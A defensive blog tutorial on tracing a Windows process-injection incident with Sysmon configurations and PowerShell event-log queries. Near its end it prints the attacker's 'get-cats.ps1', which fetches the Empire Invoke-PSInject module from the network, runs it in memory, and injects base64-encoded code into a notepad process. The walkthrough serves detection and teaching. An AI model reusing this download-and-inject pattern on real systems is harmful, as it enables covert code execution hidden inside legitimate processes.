Tracking Process Injection


bannerPhoto by abyss on Unsplash

What Is Process Injection?

Process injection refers to executing code inside a different process. MITRE ATT&CK describes Process injection as follows.

A method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are multiple approaches to injecting code into a live process. Windows implementations include:

  • Dynamic-link library (DLL) injection
  • Portable executable injection
  • Thread execution hijacking
  • Asynchronous Procedure Call
  • Thread Local Storage

Detecting Process Injection

If we don’t have appropriate monitoring set, then we start detection by finding behavior on the endpoint which we would consider suspicious. Let’s suppose an example scenario in which we are alarmed by cat pictures being written to a user’s desktop. Obviously this is a good example of highly malicious behavior which no regular user would ever do.

desktop

Install Basic Sysmon Template

As a first step I want to know which process is writing these files to the desktop to determine if this might be normal behavior. We can use Sysmon to accomplish this. Before querying Sysmon logs we should confirm that it is installed with an appropriate configuration file. Since we want to know about picture files being written to the desktop we will confirm that Sysmon gets loaded with a configuration file that includes logging such events. The following should suffice:

<Sysmon schemaversion="4.22">
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <FileCreate onmatch="include">
      <TargetFilename condition="end with">.jpg</TargetFilename>
      <TargetFilename condition="end with">.jpeg</TargetFilename>
      <TargetFilename condition="end with">.png</TargetFilename>
    </FileCreate>
  </EventFiltering>
</Sysmon>

Here we have a minimal Sysmon template where we also include all file creation events where the filename ends with one of the following extensions .jpg, .jpeg or .png.

Finding The Process Writing Files

After we have Sysmon setup we can query the Windows event log using for example PowerShell Get-WinEvent cmdlet. To find out what we need to filter for, we can use the Sysmon page to find the event id that we are interested in. In this case it is Event ID 11: FileCreate. We can use the -FilterHashtable parameter to filter to only FileCreate events @{logname='Microsoft-Windows-Sysmon/Operational'; id=11}. Since this query will give us all file creation events across the system it will likely be too verbose. We can pipe the previous command to filter down the event log messages based on file path and type | ?{ if ($_.Message -like '*TargetFilename: C:\Users\Administrator\Desktop\*.jpg*') { $_ }}

infected_process

Investigating The Suspicious Process

Now that we have identified the process which is writing the files we can determine this behavior to be abnormal. In the hopes of understanding this anomaly we will gather more information. We can query all events that Sysmon recorded for this process using the following command:

Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath ('*/*/Data[@Name="ProcessId"]="5492"') | sort -Property id -Unique | ft -Wrap

Here we queried the Sysmon log file using the Get-WinEvent cmdlet. We filtered the query to any log event where the key <Data Name="ProcessID"> is equal to process id 5492 that we are looking for. To reduce the output we can sort by unique event id and then wrap the output, so PowerShell shows the entire line.

infected_process

From the list of Sysmon event ids 3 and 11 we can determine that the suspicious process spent most of its time making network connections to a specific host and writing files to disk. Let’s find all files the process created.

(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath ('*/*/Data[@Name="ProcessId"]="5492"')).Message | findstr 'TargetFilename'

infected_process

The only file other than the cat pictures was a PowerShell script, which seems quite unusual since the Windows Security notification icon process doesn’t usually execute PowerShell scripts. Let’s look into Microsoft-Windows-PowerShell/Operational log and filter by the given process to see if we can find more information.

(Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational -FilterXPath '*[System[Execution[@ProcessID="5492"]]]').Message

infected_process

Here we can see that PowerShell starts an IPC listening thread from the given process PID 5492. This also indicates that the given process is executing PowerShell. To confirm our suspicion we can look if the process is using System.Management.Automation.dll. For a process to run a PowerShell script it would have to load System.Management.Automation.dll to communicate with the .NET framework. In theory any binary could host the System.Management.Automation.dll to execute PowerShell, but very few actually do. We can use Process Explorer to confirm this.

procexp

Seeing an unknown unsigned DLL being loaded into a known Windows process seems quite suspicious, especially if it is loaded from an unusual path. In this case the unsigned System.Management.Automation.ni.dll is the valid Microsoft dll, but for some reason it is not signed. If something like Code Integrity Guard (CIG) was applied to stop this, then PowerShell would load older DLLs which are actually signed.

Configure Sysmon To Detect Process Injection

We were unable to detect the source of the process injection using a basic Sysmon configuration. We will look for a more advanced setup. A lot of quality Sysmon configurations are offered open-source on GitHub, we can use one by SwiftOnSecurity. Looking into the template we can see:

    <!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]-->
        <!--COMMENT:	Monitor for processes injecting code into other processes. Often used by malware to cloak their actions. Also when Firefox loads Flash. [ https://attack.mitre.org/wiki/Technique/T1055 ] -->

The configuration file gives us a good reference to MITRE technique T1055 for process injection also it points to the Sysmon event id 8, which is often associated with process injection. Since the process injection loads DLLs I also included Sysmon event id 7 to get more detailed information.

    <!--SYSMON EVENT ID 6 : DRIVER LOADED INTO KERNEL [DriverLoad]-->
    <RuleGroup name="" groupRelation="or">
        <DriverLoad onmatch="exclude">
            <Signature condition="contains">microsoft</Signature> <!--Exclude signed Microsoft drivers-->
            <Signature condition="contains">windows</Signature> <!--Exclude signed Microsoft drivers-->
            <Signature condition="begin with">Intel </Signature> <!--Exclude signed Intel drivers-->
        </DriverLoad>
    </RuleGroup>
    <!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS [ImageLoad]-->
    <RuleGroup name="" groupRelation="or">
        <ImageLoad onmatch="exclude">
            <Signature condition="contains">microsoft</Signature> <!--Exclude signed Microsoft drivers-->
            <Signature condition="contains">windows</Signature> <!--Exclude signed Microsoft drivers-->
            <Signature condition="begin with">Intel </Signature> <!--Exclude signed Intel drivers-->
        </ImageLoad>
    </RuleGroup>
    <!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]-->
    <RuleGroup name="" groupRelation="or">
        <CreateRemoteThread onmatch="exclude">
            <SourceImage condition="is">C:\Windows\system32\wbem\WmiPrvSE.exe</SourceImage>

We can update our previous Sysmon configuration using the following command.

sysmon -accepteula -c "C:\Users\Administrator\Desktop\SwiftOnSecurity-modified-configuration.xml"

Finding Another Infected Process

After waiting for a few moments we can query Sysmon logs for driver loaded, image loaded and CreateRemoteThread. We want to find a new process with a similar footprint, so Sysmon has had a chance to log events based on the updated configuration. An easy way to do this is to look for System.Management.Automation.dll again.

(Get-Process | Where-Object {$_.ProcessName -ne "powershell"}) | % { if (($_.Modules.ModuleName | Select-String -Pattern "System.Management.Automation*") | Tee-Object -Variable a ) {$_.ProcessName ; $a} }

Here we get all processes, excluding PowerShell. Then we filter them down to only the processes that have loaded the System.Management.Automation DLLs.

infected_process

Looking For Process Injection

Now we can query for Sysmon events done by this process.

(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath '*/*/EventID=6 and */*/Data[@Name="ProcessId"]="4104"').Message
(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath '*/*/EventID=7 and */*/Data[@Name="ProcessId"]="4104"').Message | findstr 'ImageLoaded:'
(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath '*/*/EventID=8').Message

The image loaded query showed us the same PowerShell DLLs as the previous process, but driver loaded did not record anything. The CreateRemoteThread found a bunch of events where our infected process was the TargetProcess and it indicated another PowerShell process as the source.

infected_process

Under SourceProcessId we can find the process that did the injection.

Source Of Process Injection

Since we now know which process did the injection we can search its process id in Sysmon to find out how.

((get-winevent -LogName Microsoft-Windows-Sysmon/Operational) | ?{ $_.message -match '.*ProcessId: 6072.*'}).message

Here we can see two interesting clues:

  • First, the command that was used to download the malicious process injection script. infected_process

  • Second, we can see that the malicious process was started by a .bat script from the execution of the user profile. infected_process

Lets see what is inside the get-cats.ps1 script that did the process injection.

IEX (iwr 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/management/Invoke-PSInject.ps1' -usebasicparsing)

# Download cat pictures script
$script=@"
Function Download-Catz {
  while(`$true) {
  iwr (((iwr 'http://api.thedogapi.com/v1/images/search' -usebasicparsing ).Content | convertfrom-json).url) -OutFile ('C:\WindowsAzure\Logs\' + ((new-guid).guid) + '.jpg') -usebasicparsing
  Start-Sleep 60
  }
}

Download-Catz
"@

Invoke-PSInject -ProcId ((get-process -Name *notepad*).Id) -Poshcode ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($script)))

Finally! We found the script that was doing the injection.

We see the attacker downloading and executing the Invoke-PSInject function. Then we see the Download-Catz function being base64 encoded and injected into the notepad process using Invoke-PSInject. Invoke-PSInject is a PowerShell Empire module that executes arbitrary PowerShell code using reflective PE injection. This means the Portable Executable (PE), in this case the ReflectivePick DLL, is written in to the memory of the victim process so it never touched disk. After this the DLL is executed using the CreateRemoteThread function. The DLL is loaded reflectively using a ReflectiveLoader without the need for a Windows loader. This is why the injected DLL is not visible among the DLLs loaded by the process, but it can be seen under .NET assemblies as PowerShellRunner.

procexp

Execution Flow

Looks like someone placed a malicious .bat script in the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp folder. This script executed with the user profile at logon, which downloaded and ran a PowerShell script called get-catz.ps1, in memory. This PowerShell script used a Invoke-PSInject function to inject a cat picture downloading PowerShell script in to the victim process.

process_injection_gif

Kustas Kurval